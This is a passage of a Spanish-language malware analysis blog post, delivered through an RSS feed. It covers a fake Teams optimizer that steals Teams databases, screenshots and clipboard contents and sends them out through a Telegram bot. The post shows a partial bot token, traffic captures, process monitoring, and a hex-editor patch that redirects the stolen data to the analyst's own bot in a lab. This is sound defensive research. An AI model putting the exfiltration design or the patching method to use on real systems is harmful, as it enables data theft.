&lt;code&gt;token = &amp;quot;7418172573:AAGT5vS...&amp;quot;&lt;/code&gt;* &lt;code&gt;chat_id = &amp;quot;1014913217&amp;quot;&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Análisis:&lt;/strong&gt; El malware usa la API de &lt;strong&gt;Telegram&lt;/strong&gt; para enviar los datos robados. Es una táctica inteligente porque el tráfico hacia Telegram suele ser visto como legítimo por muchos firewalls.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Módulos de Robo:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;El código muestra funciones como &lt;code&gt;find_teams_db&lt;/code&gt; y &lt;code&gt;periodic_screenshots&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Análisis:&lt;/strong&gt; El malware busca específicamente bases de datos de Microsoft Teams (donde se guardan tokens de sesión y mensajes) y toma capturas de pantalla de la víctima cada cierto tiempo.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;El &amp;ldquo;Clipboard Hijacker&amp;rdquo; (Secuestro de Portapapeles):&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Una de las funciones más impactantes muestra una expresión regular (&lt;code&gt;regex&lt;/code&gt;): &lt;code&gt;\d{4}-\d{4}-\d{4}-\d{4}&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Análisis:&lt;/strong&gt; El programa monitoriza el portapapeles. Si detecta que el usuario copia algo que parece un número de tarjeta de crédito, el malware lo sustituye por una cuenta controlada por el atacante (&lt;code&gt;1111-2222-3333-4444&lt;/code&gt;). Si el usuario va a hacer una transferencia o pago, terminará enviando el dinero al atacante sin darse cuenta.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="fase-5-análisis-dinámico-comprobación-en-vivo"&gt;Fase 5: Análisis Dinámico (Comprobación en Vivo)&lt;/h3&gt;
&lt;p&gt;Finalmente, &amp;ldquo;apretamos el gatillo&amp;rdquo; y ejecutamos el malware para observar su comportamiento.&lt;/p&gt;
&lt;p&gt;Antes de nada con estas herramientas inicializadas podremos analizar el comportamiento del malware, solo nos falta ejecutarlo.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-805c-ae39-c1b3ea136e34.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ingeniería Social&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Al ejecutar &lt;code&gt;TeamsBoost.exe&lt;/code&gt;, aparece una ventana titulada &lt;strong&gt;&amp;ldquo;Microsoft Teams Optimizer&amp;rdquo;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Se ve una barra de progreso verde avanzando lentamente. Es un engaño visual perfecto para mantener al usuario distraído mientras, en segundo plano, el script de Python está escaneando el disco y enviando datos. (Bonita interfaz Ismael :P)&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-809c-831c-d6d777f31717.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tráfico de Red (Wireshark)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Abrimos &lt;strong&gt;Wireshark&lt;/strong&gt; para interceptar las comunicaciones.
Vemos paquetes dirigidos a la IP &lt;code&gt;149.154.167.220&lt;/code&gt; (servidores de Telegram) con el mensaje &lt;code&gt;TLSv1.3 Client Hello (SNI: api.telegram.org)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-806f-871a-f4d10f87c790.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;El malware está efectivamente enviando la información recolectada a través del bot de Telegram que identificamos en la fase anterior.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Monitoreo de Procesos&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Con &lt;strong&gt;Process Monitor&lt;/strong&gt;, filtramos la actividad. Observamos que en el momento exacto en que copiamos un texto, el proceso malicioso realiza operaciones de lectura/escritura en memoria para modificar el portapapeles. (Fijaros en las horas)&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ef888fa-f353-80bb-8ebb-d7ebba6545e2.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ef888fa-f353-8015-8915-ef69419f7e07.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="fase-6-patching-y-simulación-de-ataque"&gt;Fase 6: Patching y Simulación de Ataque&lt;/h3&gt;
&lt;p&gt;Para cerrar el análisis con broche de oro, decidí realizar una técnica de &lt;strong&gt;Patching&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;¿Qué es el Patching?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A nivel técnico, el patching consiste en modificar directamente el código o los datos de un binario ya compilado. En lugar de intentar programar el malware desde cero, alteramos el original para que obedezca nuestras órdenes. Es como cambiar el destinatario de una carta después de que ya ha sido escrita.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ejecución del Patch&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;En este caso, el objetivo era simple pero potente: &lt;strong&gt;redirigir el botín&lt;/strong&gt;.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Creamos nuestro propio Bot de Telegram y obtenemos un nuevo &lt;code&gt;token&lt;/code&gt; y &lt;code&gt;chat_id&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Localizamos en el código extraído (o mediante un editor hexadecimal como &lt;em&gt;&lt;strong&gt;ImHex&lt;/strong&gt;&lt;/em&gt;) las cadenas de texto originales del atacante.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sustitución:&lt;/strong&gt; Reemplazamos los valores del atacante por los nuestros.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ef888fa-f353-808a-8536-e9399c3ffaf6.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ef888fa-f353-8095-a668-dff98a39cd79.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ef888fa-f353-8047-880c-c238eeb7ae97.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Al ejecutar nuestro binario &amp;ldquo;parcheado&amp;rdquo;, la víctima (en nuestro entorno de pruebas) sigue viendo la barra de progreso del optimizador de Teams. Sin embargo, en lugar de que la información viaje al servidor del criminal, viajara a nuestro bot.
Con esto, no solo hemos analizado la amenaza, sino que hemos demostrado un control total sobre ella. El patching nos permite validar cada hallazgo y confirmar que, efectivamente, la exfiltración funciona exactamente como predijimos en el análisis estático.&lt;/p&gt;
&lt;h2 id="conclusión-1"&gt;Conclusión&lt;/h2&gt;
&lt;p&gt;Este ejercicio demuestra que, por mucho que un malware intente ocultarse tras capas de empaquetado y fachadas legítimas, un análisis estructurado permite despojarlo de sus defensas y, finalmente, neutralizarlo o incluso volverlo en su contra.&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item></channel></rss>